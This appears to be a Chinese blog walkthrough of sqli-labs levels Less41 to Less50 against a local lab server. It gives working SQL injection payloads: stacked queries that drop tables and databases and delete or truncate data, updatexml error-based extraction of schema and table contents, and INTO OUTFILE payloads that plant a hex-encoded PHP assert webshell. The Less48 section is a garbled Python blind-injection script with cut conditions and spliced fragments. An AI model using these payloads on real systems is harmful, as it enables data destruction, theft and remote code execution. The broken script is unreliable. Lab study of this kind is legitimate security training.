目录
Less41
Less42
Less43
Less44
Less45
Less46
Less47
Less48
Less49
Less50
Less41这关和Less40差不多,先通过布尔盲注来找到闭合,然后就肆无忌惮堆叠注入了。
找闭合:
http://192.168.101.16/sqli-labs-master/Less-41/?id=1 有查询结果
http://192.168.101.16/sqli-labs-master/Less-41/?id=1' 无查询结果
http://192.168.101.16/sqli-labs-master/Less-41/?id=1" 无查询结果
http://192.168.101.16/sqli-labs-master/Less-41/?id=1-- s 有查询结果
不需要闭合(我可太喜欢这关的粉色了)
这关用堆叠注入删掉xiannv数据库的xiang表:
http://192.168.101.16/sqli-labs-master/Less-41/?id=1;drop table xiannv.xiang-- s
数据库上可以看到xiannv数据库已经没有xiang表了
这关代码也和前几关同样是堆叠注入的差不多,不看了
Less42几个链接翻了一圈,只有http://192.168.101.16/sqli-labs-master/Less-42/index.php有输入框
注意下面用hackbar进行sql注入的时候,hackbar的url栏需要填:
http://192.168.101.16/sqli-labs-master/Less-42/login.php
因为数据是提交到login.php的,网页有提交数据时跳转的功能,hackbar可没有
Post data分别输入以下两条payload,测试Username输入框是否有报错注入点:
login_user=admin'&login_password=pass&mysubmit=Login
login_user=admin"&login_password=pass&mysubmit=Login
两次结果是一样的,都是下图这样,没有报错,也没登录成功
Post data分别输入以下两条payload,测试Password输入框是否有报错注入点:
login_user=admin&login_password=pass'&mysubmit=Login
login_user=admin&login_password=pass"&mysubmit=Login
加单引号那条(第一条),有回显下图所示的sql语法错误,从报错信息看,闭合是单引号
上一关把xiannv数据库的xiang表删掉了,这关把xiannv数据库删掉
Post data输入:
login_user=admin&login_password=pass';drop database xiannv#&mysubmit=Login
服务器上navicat关闭连接重新再连一下,发现左侧数据库列表已经没有xiannv数据库了
下面分析一下代码:
这关表单数据提交到login.php
追到login.php看一下,login_user的值用mysqli_real_escape_string()转义特殊字符了,而且这关又不符合宽字节注入的条件,因此username的单引号没法闭合。而login_password的值不经处理代入sql语句,可以闭合单引号,带入后面增加的sql语句。
和上一关差不多,就闭合不同罢了……
重申一遍,用hackbar注入的话,hackbar的地址栏要填:
http://192.168.101.16/sqli-labs-master/Less-43/login.php
也就是表单提交的目标页面
照着上一关的套路找闭合,试到
login_user=admin&login_password=pa'&mysubmit=Login
的时候通过回显的sql语法错误发现闭合是')
接下来就是为所欲为的时候了,由于之前通过堆叠注入创建的测试用的数据库已经在前几关折腾光了,这关我先手工在服务器上创建个测试用的数据库,然后再继续折腾它。
如下图所示,我建了个earth数据库plant表,里面有三行数据,分别是三种花花的名字
然后在hackbar的Post data中输入:
login_user=admin&login_password=pa');delete from earth.plant#&mysubmit=Login
再看服务器上,plant表中的花花都被拔光了
注意:由于堆叠注入两条语句的结果是分开的,在一些代码逻辑下(比如本关),只有第一条语句错误的情况下才会报sql错误,如果第一条语句正确,第二条语句就算有错误也不会在页面回显。
代码没啥好说的,和上关原理是一样的,就是闭合多个括号。另外从代码逻辑可以看出来,本关报不报sql语法错误是根据第一条语句有没有执行成功来判断的,第一条语句执行成功了,第二条就算失败也不会报错。
这关其实也没有太大变化,变化主要是在找闭合这步,这关不再报sql语法错误了,所以需要用布尔盲注的方法去找闭合。
具体来说,就本靶场而言,当Less42中的4条找闭合的payload发送后,页面都不报sql语法错误的话,就说明页面不会回显sql语法错误。
盲注找闭合的方法其实也很简单,像本关这样两个输入框的正确值都不知道的情况下,在普通找闭合的payload中闭合符号之后增加 or 1=1#就行,如果返回的页面显示登录成功,说明闭合成功。
用hackbar向http://192.168.101.16/sqli-labs-master/Less-44/login.php发送如下payload检查username输入框是否有注入点
login_user=admin' or 1=1#&login_password=pass&mysubmit=Login
login_user=admin" or 1=1#&login_password=pass&mysubmit=Login
页面回显都是下图这样登录失败的页面,username输入框没找到注入点
用hackbar向http://192.168.101.16/sqli-labs-master/Less-44/login.php发送如下payload检查password输入框是否有注入点
login_user=admin&login_password=pass" or 1=1#&mysubmit=Login
login_user=admin&login_password=pass' or 1=1#&mysubmit=Login
第一条还是显示登录失败的页面,但第二条显示了登录成功的页面
接下来就是堆叠注入的部分了,我们来堆一下:
还是上关那张表,我又手工写了一条记录进去
然后在hackbar中向http://192.168.101.16/sqli-labs-master/Less-44/login.php发送以下payload,删除表earth.plant中的数据
login_user=admin&login_password=pass';truncate table earth.plant#&mysubmit=Login
再到服务器上看,刷新以下plant表的显示,发现表中的数据已经被删除了
本关代码和Less42的代码大体上是一致的,只是第一条语句执行失败时不再报sql语法错误,所以代码就不截图咯。
Less45这关和上一关的区别是闭合不同,按照上一关找闭合的套路走一遍(当然由于闭合不同,上一关的payload都是无法返回登录成功页面的),
当hackbar向http://192.168.101.16/sqli-labs-master/Less-45/login.php提交payload:
login_user=admin&login_password=pass') or 1=1#&mysubmit=Login
时,返回了登录成功的页面
然后就到了想想这关干嘛的环节。想了一会儿,决定这关给earth.plant加一列。
用hackbar向http://192.168.101.16/sqli-labs-master/Less-45/login.php提交payload:
login_user=admin&login_password=pass');alter table earth.plant add column num int(10)#&mysubmit=Login
到服务器上一看,earth.plant增加了一个名为num的列(字段)
试试sort值分别取1,2,3,就能发现,这关的参数是order by后面的值,也就是说,这关的sort参数值表示根据表的哪一列来排列查询结果
http://192.168.101.16/sqli-labs-master/Less-46/?sort=1
http://192.168.101.16/sqli-labs-master/Less-46/?sort=2
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3
比如下图sort的值为3,表示根据第三列,也就是PASSWORD的大小来排序查询结果
order by后面是不能接union select的,可以试试不会不报sql语法错误,如果会报,就可以用报错注入。
地址栏输入 :http://192.168.101.16/sqli-labs-master/Less-46/?sort=3'
报了sql语法错误,根据报错信息,本关无闭合符号。
下面就可以用报错注入的方法来爆数据了:
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1)
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)
最终结果
写webshell可以用下面的payload:
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 limit 0,1 into outfile 'C:/phpstudy_pro/WWW/46.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334365D293B3F3E
lines terminated by xxx是在查询结果每一行后面加上xxx,所以payload中加了limit 0,1限制查询结果仅取第一行。
服务器上被写入的webshell
重要题外话:
我原本以为这关只要sort不存在的列,连接符就可以是or,但事实上并不是这样。
为了方便理解,我直接在服务器上的navicat演示:
当查询是:SELECT * FROM users ORDER BY 4
返回结果报错,不存在第4列
当查询是:
SELECT * FROM users ORDER BY 4 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
竟然输出了查询结果。。。并且还是按第一列排序的。。仙女震惊。。。
然后试了一下
SELECT 4 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
果不其然,结果是1
根据我的推测,结果是一个布尔值,不为0的数都为真,这里4已经为真,所以就引发了短路,or后面的语句就不执行了。
根据这个推测,可以得到两个信息:
(1)updatexml的报错是sql语句执行过程中的报错,即执行到它才会报错
(2)如果ORDER BY 0就可以用or作为连接符
试一下:
SELECT * FROM users ORDER BY 0 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
OK,计划通~
本关代码倒是没啥,注意一下入参在sql查询中的位置就好
和上一关基本一样,就闭合不同
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-47/?sort=1'
从报错可知闭合是单引号
爆数据的payload如下:
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)-- s
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)-- s
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1)-- s
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)-- s
最终结果:
写webshell的payload如下:
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' limit 0,1 into outfile 'C:/phpstudy_pro/WWW/47.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334375D293B3F3E -- s
服务器上写入的webshell:
本关代码和上一关就sql语句中参数的闭合符不同,不多说了
(本关找通关方法的分析部分比较多,觉得烦的话可以直接拉到最下面)
地址栏输入http://192.168.101.16/sqli-labs-master/Less-48/?sort=1
返回正确的查询结果
地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-48/?sort=1'
k and j3: payload1 = "rand(length((select group_concat(schema_name) from information_schema.schemata))>"+str(j)+") limit 0,1-- s" #所有payload根据实际情况填写 param = { "sort":payload1, } response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request #print(response.request.headers) #print(response.text) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-kk and j3: payload4 = "rand(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))>"+str(j)+") limit 0,1-- s" param = { "sort":payload4, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-kk and j3: payload7 = "rand(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))>"+str(j)+") limit 0,1-- s" param = { "sort":payload7, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-kk and j3: payload10 = "rand(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))>"+str(j)+") limit 0,1-- s" param = { "sort":payload10, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k"+str(j)+",sleep(0.1),1)-- ss" #所有payload根据实际情况填写 param = { "sort":payload1, } try: response = requests.get(url, params = param, headers = headers,timeout=1) #本脚本根据GET型注入编写,遇到POST型可修改改行方法和参数,其他所有函数中同样 k=k n=j except: n=n k=j j=(n-k)//2 elif j-k==3 or j-kk and j3: payload4 = "1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))>"+str(j)+",sleep(0.1),1)-- ss" param = { "sort":payload4, } try: response = requests.get(url, params = param, headers = headers,timeout=1) #本脚本根据GET型注入编写,遇到POST型可修改改行方法和参数,其他所有函数中同样 k=k n=j except: n=n k=j j=(n-k)//2 elif j-k==3 or j-kk and j3: payload7 = "1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))>"+str(j)+",sleep(0.1),1)-- ss" param = { "sort":payload7, } try: response = requests.get(url, params = param, headers = headers,timeout=1) #本脚本根据GET型注入编写,遇到POST型可修改改行方法和参数,其他所有函数中同样 k=k n=j except: n=n k=j j=(n-k)//2 elif j-k==3 or j-kk and j3: payload10 = "1' and if(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))>"+str(j)+",sleep(0.1),1)-- ss" param = { "sort":payload10, } try: response = requests.get(url, params = param, headers = headers,timeout=1) #本脚本根据GET型注入编写,遇到POST型可修改改行方法和参数,其他所有函数中同样 k=k n=j except: n=n k=j j=(n-k)//2 elif j-k==3 or j-k
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?